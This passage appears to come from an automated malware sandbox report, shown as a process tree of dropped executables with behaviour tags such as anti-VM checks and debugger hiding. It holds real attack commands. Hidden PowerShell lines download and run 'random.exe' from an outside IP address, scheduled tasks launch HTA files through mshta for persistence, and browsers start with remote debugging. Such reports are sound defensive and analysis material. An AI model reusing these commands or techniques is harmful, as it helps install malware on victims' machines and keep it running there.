                                        • Enumerates system info in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                        • Suspicious use of FindShellTrayWindow
                                        PID:4732
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc1d2946f8,0x7ffc1d294708,0x7ffc1d294718
                                          7⤵
                                          • Checks processor information in registry
                                          • Enumerates system info in registry
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:5196
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,9076197036270341577,1324631765934197317,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2104 /prefetch:2
                                          7⤵
                                            PID:5920
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,9076197036270341577,1324631765934197317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:3
                                            7⤵
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:6076
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,9076197036270341577,1324631765934197317,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:8
                                            7⤵
                                              PID:6068
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,9076197036270341577,1324631765934197317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
                                              7⤵
                                              • Uses browser remote debugging
                                              PID:3068
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,9076197036270341577,1324631765934197317,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
                                              7⤵
                                              • Uses browser remote debugging
                                              PID:468
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,9076197036270341577,1324631765934197317,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4820 /prefetch:1
                                              7⤵
                                              • Uses browser remote debugging
                                              PID:5916
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2092,9076197036270341577,1324631765934197317,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4856 /prefetch:1
                                              7⤵
                                              • Uses browser remote debugging
                                              PID:5848
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\kxl68" & exit
                                            6⤵
                                              PID:6140
                                              • C:\Windows\SysWOW64\timeout.exe
                                                timeout /t 11
                                                7⤵
                                                • Delays execution with timeout.exe
                                                PID:4964
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 788
                                            5⤵
                                            • Program crash
                                            PID:2840
                                        • C:\Users\Admin\AppData\Local\Temp\10042390101\uW8i508.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10042390101\uW8i508.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:1476
                                        • C:\Users\Admin\AppData\Local\Temp\10042430101\27JinXS.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10042430101\27JinXS.exe"
                                          4⤵
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Checks BIOS information in registry
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • Identifies Wine through registry keys
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • Drops file in Windows directory
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4648
                                          • C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
                                            "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
                                            5⤵
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Downloads MZ/PE file
                                            • Checks BIOS information in registry
                                            • Checks computer location settings
                                            • Executes dropped EXE
                                            • Identifies Wine through registry keys
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3736
                                            • C:\Users\Admin\AppData\Roaming\10000350100\sidedrive.exe
                                              "C:\Users\Admin\AppData\Roaming\10000350100\sidedrive.exe"
                                              6⤵
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Identifies Wine through registry keys
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • Drops file in Windows directory
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:5924
                                        • C:\Users\Admin\AppData\Local\Temp\10042630101\DVaKyq7.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10042630101\DVaKyq7.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          • System Location Discovery: System Language Discovery
                                          PID:1320
                                          • C:\Users\Admin\AppData\Local\Temp\10042630101\DVaKyq7.exe
                                            "C:\Users\Admin\AppData\Local\Temp\10042630101\DVaKyq7.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            PID:1028
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1320 -s 800
                                            5⤵
                                            • Program crash
                                            PID:4488
                                        • C:\Users\Admin\AppData\Local\Temp\10043470101\FydOzyQ.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10043470101\FydOzyQ.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          • System Location Discovery: System Language Discovery
                                          PID:5460
                                          • C:\Users\Admin\AppData\Local\Temp\10043470101\FydOzyQ.exe
                                            "C:\Users\Admin\AppData\Local\Temp\10043470101\FydOzyQ.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:5504
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5460 -s 800
                                            5⤵
                                            • Program crash
                                            PID:5556
                                        • C:\Users\Admin\AppData\Local\Temp\10044470101\9b6458f193.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10044470101\9b6458f193.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          PID:5828
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c schtasks /create /tn XwryBma8tg6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\CSdWntb54.hta" /sc minute /mo 25 /ru "Admin" /f
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:5416
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /create /tn XwryBma8tg6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\CSdWntb54.hta" /sc minute /mo 25 /ru "Admin" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:4196
                                          • C:\Windows\SysWOW64\mshta.exe
                                            mshta C:\Users\Admin\AppData\Local\Temp\CSdWntb54.hta
                                            5⤵
                                            • Checks computer location settings
                                            • System Location Discovery: System Language Discovery
                                            PID:5312
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KBFKMHX5QAYGLKVGMIFTYFI5JZRIJJEM.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                                              6⤵
                                              • Blocklisted process makes network request
                                              • Command and Scripting Interpreter: PowerShell
                                              • Downloads MZ/PE file
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1120
                                              • C:\Users\Admin\AppData\Local\TempKBFKMHX5QAYGLKVGMIFTYFI5JZRIJJEM.EXE
                                                "C:\Users\Admin\AppData\Local\TempKBFKMHX5QAYGLKVGMIFTYFI5JZRIJJEM.EXE"
                                                7⤵
                                                • Executes dropped EXE
                                                • System Location Discovery: System Language Discovery
                                                PID:5416
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10044480121\am_no.cmd" "
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:5588
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\10044480121\am_no.cmd" any_word
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:2720
                                            • C:\Windows\SysWOW64\timeout.exe
                                              timeout /t 2
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              • Delays execution with timeout.exe
                                              PID:1236
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3824
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                7⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5592
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4288
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                7⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2108
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5316
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                7⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5792
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /create /tn "iR6PcmaiawO" /tr "mshta \"C:\Temp\xhdJKuU4q.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                              6⤵
                                              • System Location Discovery: System Language Discovery
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:3092
                                            • C:\Windows\SysWOW64\mshta.exe
                                              mshta "C:\Temp\xhdJKuU4q.hta"
                                              6⤵
                                              • Checks computer location settings
                                              • System Location Discovery: System Language Discovery
                                              PID:5012
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                                                7⤵
                                                • Blocklisted process makes network request
                                                • Command and Scripting Interpreter: PowerShell
                                                • Downloads MZ/PE file
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5524
                                                • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                                  8⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1828
                                        • C:\Users\Admin\AppData\Local\Temp\10044900101\69c94a2647.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10044900101\69c94a2647.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          • System Location Discovery: System Language Discovery
                                          PID:3924
                                          • C:\Users\Admin\AppData\Local\Temp\10044900101\69c94a2647.exe
                                            "C:\Users\Admin\AppData\Local\Temp\10044900101\69c94a2647.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            PID:1464
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3924 -s 796
                                            5⤵
                                            • Program crash
                                            PID:5432
                                        • C:\Users\Admin\AppData\Local\Temp\10044910101\e918740db3.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10044910101\e918740db3.exe"
                                          4⤵
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Checks BIOS information in registry
                                          • Executes dropped EXE
                                          • Identifies Wine through registry keys
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • System Location Discovery: System Language Discovery
                                          PID:3488
                                        • C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          • System Location Discovery: System Language Discovery
                                          PID:2508
                                          • C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe
                                            "C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            PID:4976
                                          • C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe
                                            "C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            PID:5416
                                          • C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe
                                            "C:\Users\Admin\AppData\Local\Temp\10044920101\DVaKyq7.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            PID:5556
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2508 -s 820
                                            5⤵
                                            • Program crash
                                            PID:5872
                                        • C:\Users\Admin\AppData\Local\Temp\10044930101\mAtJWNv.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10044930101\mAtJWNv.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetThreadContext
                                          • System Location Discovery: System Language Discovery
                                          PID:3344
                                          • C:\Users\Admin\AppData\Local\Temp\10044930101\mAtJWNv.exe
                                            "C:\Users\Admin\AppData\Local\Temp\10044930101\mAtJWNv.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            PID:3312
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                              6⤵
                                              • Uses browser remote debugging
                                              PID:5268
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc389dcc40,0x7ffc389dcc4c,0x7ffc389dcc58
                                                7⤵
                                                  PID:5888
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2292,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2288 /prefetch:2
                                                  7⤵
                                                    PID:5620
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1896,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2344 /prefetch:3
                                                    7⤵
                                                      PID:1924
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1972,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2512 /prefetch:8
                                                      7⤵
                                                        PID:4900
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3032,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3052 /prefetch:1
                                                        7⤵
                                                        • Uses browser remote debugging
                                                        PID:4324
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3056,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3092 /prefetch:1
                                                        7⤵
                                                        • Uses browser remote debugging
                                                        PID:2912
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4352,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4300 /prefetch:1
                                                        7⤵
                                                        • Uses browser remote debugging
                                                        PID:6112
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3504,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4332 /prefetch:8
                                                        7⤵
                                                          PID:4068
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4656,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4588 /prefetch:8
                                                          7⤵
                                                            PID:1624
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4700,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4712 /prefetch:8
                                                            7⤵
                                                              PID:924
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4500,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4988 /prefetch:8
                                                              7⤵
                                                                PID:2836
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5024,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5084 /prefetch:8
                                                                7⤵
                                                                  PID:5632
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4948,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4912 /prefetch:8
                                                                  7⤵
                                                                    PID:4428
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4688,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5196 /prefetch:8
                                                                    7⤵
                                                                      PID:768
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5328,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5336 /prefetch:8
                                                                      7⤵
                                                                        PID:3480
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5180,i,9947582556045229757,4411529466362700036,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5256 /prefetch:2
                                                                        7⤵
                                                                        • Uses browser remote debugging
                                                                        PID:848
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 800
                                                                    5⤵
                                                                    • Program crash
                                                                    PID:5676
                                                                • C:\Users\Admin\AppData\Local\Temp\10044940101\MCxU5Fj.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10044940101\MCxU5Fj.exe"
                                                                  4⤵
                                                                    PID:5452
                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                      cmd.exe /c lom.bat
                                                                      5⤵
                                                                        PID:4600
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic cpu get name
                                                                          6⤵
                                                                            PID:5532
                                                                          • C:\Windows\system32\find.exe
                                                                            find "QEMU"
                                                                            6⤵
                                                                              PID:6064
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
